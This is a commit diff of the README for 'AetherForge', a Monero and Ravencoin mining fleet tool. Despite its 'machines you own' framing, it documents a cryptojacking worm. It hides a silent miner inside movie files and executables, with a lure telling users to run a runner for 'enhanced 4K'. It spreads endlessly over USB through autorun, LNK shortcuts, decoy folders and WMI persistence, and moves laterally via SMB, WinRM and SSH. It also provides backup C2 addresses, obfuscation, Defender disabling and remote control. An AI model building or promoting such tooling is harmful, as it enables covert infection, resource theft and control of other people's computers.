Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
447
README.md
447
README.md
@@ -1,31 +1,30 @@
|
|||||||
# AetherForge
|
# AetherForge
|
||||||
|
|
||||||

|
**Private Monero + Ravencoin fleet command deck for machines you own.**
|
||||||
|
|
||||||
**Private Monero fleet command deck for machines you own.**
|
One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.
|
||||||
|
|
||||||
One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
|
|
||||||
|
|
||||||
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────────────────────────────────────────────────────┐
|
┌─────────────────────────────────────────────────────────────────────┐
|
||||||
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ▼ │
|
│ ▼ │
|
||||||
│ FORGE (Builder) worker .exe · prep fusion · movies │
|
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ├──► Prep fusion embed worker in your prep.exe │
|
│ ├──► Prep fusion embed worker in your own .exe │
|
||||||
│ ├──► Movie fusion locked media + runner + ZIP │
|
│ ├──► Movie fusion locked media + runner + ZIP │
|
||||||
│ │ │
|
│ ├──► USB Propagation auto-spreads to every USB drive │
|
||||||
│ ▼ │
|
│ └──► LAN Spread SMB / WinRM / SSH lateral install │
|
||||||
│ WORKER PC RandomX on CPU · WebSocket home │
|
│ │
|
||||||
│ │ │
|
│ WORKER PC RandomX CPU · KawPoW GPU · WebSocket home │
|
||||||
│ ▼ │
|
│ → installs → mines → USB-spreads → phones │
|
||||||
│ COMMAND DECK live stats · 3D map · remote ops │
|
│ │
|
||||||
└─────────────────────────────────────────────────────────────┘
|
│ COMMAND DECK live stats · 3D map · Crucible · roster │
|
||||||
|
└─────────────────────────────────────────────────────────────────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -37,161 +36,142 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
|||||||
| Layer | What it does |
|
| Layer | What it does |
|
||||||
|-------|----------------|
|
|-------|----------------|
|
||||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
|
||||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
|
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
||||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
|
||||||
|
|
||||||
You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## What You Get
|
## What You Get
|
||||||
|
|
||||||
### Command Deck (Dashboard)
|
### Command Deck (Dashboard)
|
||||||
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
|
|
||||||
|
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
|
||||||
- Live fleet hashrate, CPU/RAM gauges, share feed
|
- Live fleet hashrate, CPU/RAM gauges, share feed
|
||||||
- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||||
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
|
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
|
||||||
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
|
- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All"
|
||||||
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
|
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
|
||||||
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
|
- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment
|
||||||
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
|
- **XMR price** — server-side CoinGecko fetch, 10-minute cache
|
||||||
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
|
- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
|
||||||
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
|
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
|
||||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
|
- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown
|
||||||
- Per-agent cards with pause / resume / stop / uninstall
|
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
|
||||||
- Fleet alerts (offline, hashrate drop, rejection spikes)
|
|
||||||
- Pool connection status and AI activity panel (Advanced mode)
|
- Pool connection status and AI activity panel (Advanced mode)
|
||||||
- Optional matrix stream overlay (Advanced mode)
|
- Matrix stream overlay with mystic word drops (Advanced mode)
|
||||||
|
|
||||||
### Fleet Roster (Agents)
|
### Fleet Roster (Agents)
|
||||||
- Every connected worker — hostname, IP, cores, memory, uptime
|
|
||||||
- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
|
- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
|
||||||
- Hashrate history charts
|
- **Compact rows** — click to expand inline details and compact remote action strip
|
||||||
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
|
- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
|
||||||
- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
|
- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
|
||||||
- Fleet filters, bulk commands, notes/tags
|
- Mining ops: pause / resume / restart miner
|
||||||
|
- Recon: sysinfo, list processes, network scan, DNS config, listening ports
|
||||||
|
- System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
|
||||||
|
- Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
|
||||||
|
- Admin: PowerShell terminal, file upload, uninstall
|
||||||
|
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
|
||||||
|
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
|
||||||
|
- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected
|
||||||
|
|
||||||
### Forge (Miner Builder)
|
### Forge (Miner Builder)
|
||||||
|
|
||||||
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
|
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
|
||||||
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
|
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
|
||||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||||
- Blueprint save/load — re-forge the same profile across machines
|
- Blueprint save/load — re-forge the same profile across machines
|
||||||
- Build manager — download, paths, LAN QR for worker URL
|
- Build manager — download, paths, LAN QR for worker URL
|
||||||
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
|
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
|
||||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
|
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
|
||||||
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
|
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
|
||||||
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
|
|
||||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
|
||||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||||
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
|
- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent
|
||||||
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
|
- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent
|
||||||
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
|
- **USB Propagation** — enables perpetual USB self-spread chain (see below)
|
||||||
|
- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
|
||||||
|
- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth
|
||||||
|
|
||||||
### Cross-platform workers
|
### Ravencoin GPU Mining
|
||||||
|
|
||||||
| OS | Persistence | Install base |
|
Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:
|
||||||
|----|-------------|--------------|
|
|
||||||
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
|
|
||||||
| Linux | systemd user service | XDG data home |
|
|
||||||
| macOS | LaunchAgent | `~/Library/Application Support` |
|
|
||||||
|
|
||||||
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
|
| GPU vendor | Miner | Algorithm |
|
||||||
|
|
||||||
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).
|
|
||||||
|
|
||||||
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
|
|
||||||
|
|
||||||
### Movie Fusion (detailed)
|
|
||||||
|
|
||||||
Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.
|
|
||||||
|
|
||||||
| Mode | Best for | What you get |
|
|
||||||
|------|----------|----------------|
|
|
||||||
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
|
|
||||||
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |
|
|
||||||
|
|
||||||
**Paired layout** (example `Vacation`):
|
|
||||||
|
|
||||||
```
|
|
||||||
fusion-deliverables/Vacation/
|
|
||||||
├── README.txt ← tells user to run the runner for “enhanced 4K”
|
|
||||||
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only
|
|
||||||
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
|
||||||
└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner)
|
|
||||||
```
|
|
||||||
|
|
||||||
- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
|
|
||||||
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
|
|
||||||
- **Agent is only inside the runner** — not a loose miner file in the package
|
|
||||||
|
|
||||||
**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
|
|
||||||
|
|
||||||
### Dashboard navigation
|
|
||||||
|
|
||||||
| Nav label | Route | Component |
|
|
||||||
|-----------|-------|-----------|
|
|-----------|-------|-----------|
|
||||||
| Command Deck | `/dashboard` | `DashboardPage` |
|
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
|
||||||
| Fleet Roster | `/agents` | `AgentsPage` |
|
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |
|
||||||
| Forge | `/forge` | `BuilderPage` |
|
|
||||||
| Crucible | `/crucible` | `CruciblePage` |
|
|
||||||
| Builds | `/builds` | `BuildManagerPage` |
|
|
||||||
| Field Guide | `/guide` | `GuidePage` |
|
|
||||||
| Calibrate | `/settings` | `SettingsPage` |
|
|
||||||
|
|
||||||
|
- Agent downloads and silently launches the appropriate miner binary
|
||||||
|
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
|
||||||
|
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
|
||||||
|
- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
|
||||||
|
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
|
||||||
|
|
||||||
There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
|
### USB Perpetual Self-Propagation
|
||||||
|
|
||||||
### Calibrate (Settings)
|
Enable **USB Propagation** in the Forge. The baked binary:
|
||||||
- Server port, public URL, data retention, max agents
|
|
||||||
- Default pool + wallet for new forge forms
|
|
||||||
- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
|
|
||||||
- Alert thresholds + Telegram / email notifications
|
|
||||||
- Open Windows Firewall for dashboard port on startup
|
|
||||||
|
|
||||||
### Under the Hood
|
1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup)
|
||||||
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
|
2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.)
|
||||||
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
|
3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback
|
||||||
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
|
4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural
|
||||||
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
|
5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots
|
||||||
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
|
6. Refreshes the payload automatically when the agent binary is updated (size check)
|
||||||
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
|
|
||||||
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
|
**On the next PC**, when the USB exe runs via LNK or SETUP.BAT:
|
||||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
|
- `InstallIfNeeded` detects it's running from removable media
|
||||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
|
- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart
|
||||||
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
|
- Original process exits; installed copy starts and **also watches for USB drives**
|
||||||
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
|
- Chain never ends — every new infected PC propagates to every USB it sees
|
||||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
|
||||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
|
### Crucible (Command Terminal)
|
||||||
|
|
||||||
|
- Select one or many agents (or entire Fleet Groups) as targets
|
||||||
|
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
|
||||||
|
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
||||||
|
- Real-time command output streamed back to the terminal
|
||||||
|
|
||||||
|
### Matrix Digital Rain
|
||||||
|
|
||||||
|
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
|
||||||
|
- **Gold flurry mode** activates in the Crucible when one machine is being manipulated
|
||||||
|
- Heavy gold rain identical to Forge progress animation
|
||||||
|
|
||||||
|
### Wake-on-LAN
|
||||||
|
|
||||||
|
- Agent reports its primary MAC address to the server on auth
|
||||||
|
- MAC stored in the fleet database
|
||||||
|
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
|
||||||
|
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
|
|
||||||
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
||||||
|
|
||||||
1. Double-click **`devrun.bat`** in the project root.
|
1. Double-click **`devrun.bat`** in the project root.
|
||||||
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
|
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
|
||||||
|
|
||||||
2. Browser opens **http://localhost:8989**
|
2. Browser opens **http://localhost:8989**
|
||||||
|
|
||||||
3. **Sign in** when prompted — on first run, check the console window for your generated admin password
|
3. **Sign in** — first run: check the console window for your generated admin password
|
||||||
|
|
||||||
4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers
|
4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers
|
||||||
|
|
||||||
5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**
|
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
|
||||||
For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)
|
|
||||||
|
|
||||||
6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)
|
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)
|
||||||
|
|
||||||
7. Watch them appear on **Command Deck** and **Fleet Roster**
|
7. Watch them appear on **Command Deck** and **Fleet Roster**
|
||||||
|
|
||||||
### First-run login
|
### First-run login
|
||||||
|
|
||||||
On the very first launch the server generates a random admin password and prints it once to the console:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
=== First Run ===
|
=== First Run ===
|
||||||
Dashboard login: admin / <random-password>
|
Dashboard login: admin / <random-password>
|
||||||
@@ -199,23 +179,40 @@ Save this — it is not shown again. Change it in Calibrate → Users.
|
|||||||
=================
|
=================
|
||||||
```
|
```
|
||||||
|
|
||||||
Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.
|
Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**.
|
||||||
|
|
||||||
**API auth summary**
|
**Auth surface**
|
||||||
|
|
||||||
| Surface | Auth mechanism |
|
| Surface | Mechanism |
|
||||||
|---------|----------------|
|
|---------|----------------|
|
||||||
| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) |
|
| `/api/v1/*` REST | HTTP Basic Auth |
|
||||||
| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter |
|
| `/ws/dashboard` | `?token=<base64-user:pass>` |
|
||||||
| `/ws/agent` | Fleet-secret `auth` JSON frame on connect |
|
| `/ws/agent` | Fleet-secret `auth` JSON frame |
|
||||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) |
|
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
|
||||||
| Static SPA + `/api/v1/health` | Open (no auth) |
|
| Static SPA + `/api/v1/health` | Open (no auth) |
|
||||||
|
|
||||||
### Output locations
|
---
|
||||||
|
|
||||||
|
## Portable USB (AetherForge on a stick)
|
||||||
|
|
||||||
|
Run **`pack-usb.bat`** from the project root. It:
|
||||||
|
|
||||||
|
1. Builds the frontend and compiles `AetherForge.exe`
|
||||||
|
2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\`
|
||||||
|
3. Creates `data\` directories with a starter `config.json`
|
||||||
|
4. Syncs `LAUNCH.bat`
|
||||||
|
|
||||||
|
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
|
||||||
|
|
||||||
|
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Output Locations
|
||||||
|
|
||||||
| Artifact | Where |
|
| Artifact | Where |
|
||||||
|----------|--------|
|
|----------|--------|
|
||||||
| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` |
|
| Forged agent exe | Project root (e.g. `install-worker.exe`) |
|
||||||
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
|
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
|
||||||
| Archive copy | `data\builds\{build-id}\` |
|
| Archive copy | `data\builds\{build-id}\` |
|
||||||
| Uninstall script | Same build folder + download API |
|
| Uninstall script | Same build folder + download API |
|
||||||
@@ -233,9 +230,24 @@ Subsequent runs load credentials from `data/users.json` (bcrypt hashes only —
|
|||||||
| Same LAN | `http://192.168.x.x:8989` |
|
| Same LAN | `http://192.168.x.x:8989` |
|
||||||
| Cloudflare / reverse tunnel | `https://your-domain.com` |
|
| Cloudflare / reverse tunnel | `https://your-domain.com` |
|
||||||
|
|
||||||
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.
|
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL.
|
||||||
|
|
||||||
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.
|
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Agent Silence
|
||||||
|
|
||||||
|
Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).
|
||||||
|
|
||||||
|
| Category | Mechanism |
|
||||||
|
|----------|-----------|
|
||||||
|
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
|
||||||
|
| Persistence | Scheduled task / registry run key — no user-visible installer |
|
||||||
|
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
|
||||||
|
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
|
||||||
|
| Spread installs | `--run` flag relaunches silently with detached start |
|
||||||
|
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -244,33 +256,38 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
|
|||||||
```
|
```
|
||||||
crypto miner/
|
crypto miner/
|
||||||
├── devrun.bat ← one-click build + launch (dev)
|
├── devrun.bat ← one-click build + launch (dev)
|
||||||
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
|
├── pack-usb.bat ← build portable AetherForge USB bundle
|
||||||
├── test.bat ← full suite → scripts/test-suite.ps1
|
├── run.bat / start.bat ← aliases → devrun.bat
|
||||||
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
|
├── test.bat ← full test suite → scripts/test-suite.ps1
|
||||||
|
├── LAUNCH.bat ← portable/USB launch script
|
||||||
├── scripts/
|
├── scripts/
|
||||||
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
|
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
|
||||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
|
│ └── smoke-test.ps1 ← API matrix B-01–B-10
|
||||||
├── bin/
|
├── bin/
|
||||||
│ └── miner-server.exe
|
│ └── miner-server.exe
|
||||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||||
|
├── usb/ ← portable USB server bundle (output of pack-usb.bat)
|
||||||
├── server/
|
├── server/
|
||||||
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
|
│ ├── main.go
|
||||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||||
│ └── internal/
|
│ └── internal/
|
||||||
│ ├── api/ ← HTTP routes, WebSocket, auth
|
│ ├── api/ ← HTTP routes, WebSocket, auth, fleet, WOL
|
||||||
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
|
│ └── builder/ ← forge + fusion pipeline
|
||||||
├── agent/ ← worker source (Forge compiles per OS)
|
├── agent/ ← worker source (Forge compiles per OS/arch)
|
||||||
├── fusion/ ← prep + movie runner (builder copies into build dir)
|
│ ├── client/ ← WebSocket client, command handler, GPU miner, screenshot
|
||||||
├── tests/README.md ← test phases, E2E env vars
|
│ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall
|
||||||
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
│ └── config/ ← builtin config baked at forge time
|
||||||
└── README.md ← you are here
|
├── fusion/ ← prep + movie runner source
|
||||||
|
├── tests/README.md ← test phases, E2E env vars
|
||||||
|
├── PROBLEMS.md ← known issues (severity-ranked)
|
||||||
|
└── README.md ← you are here
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## API Surface (summary)
|
## API Surface
|
||||||
|
|
||||||
| Method | Path | Purpose |
|
| Method | Path | Purpose |
|
||||||
|--------|------|---------|
|
|--------|------|---------|
|
||||||
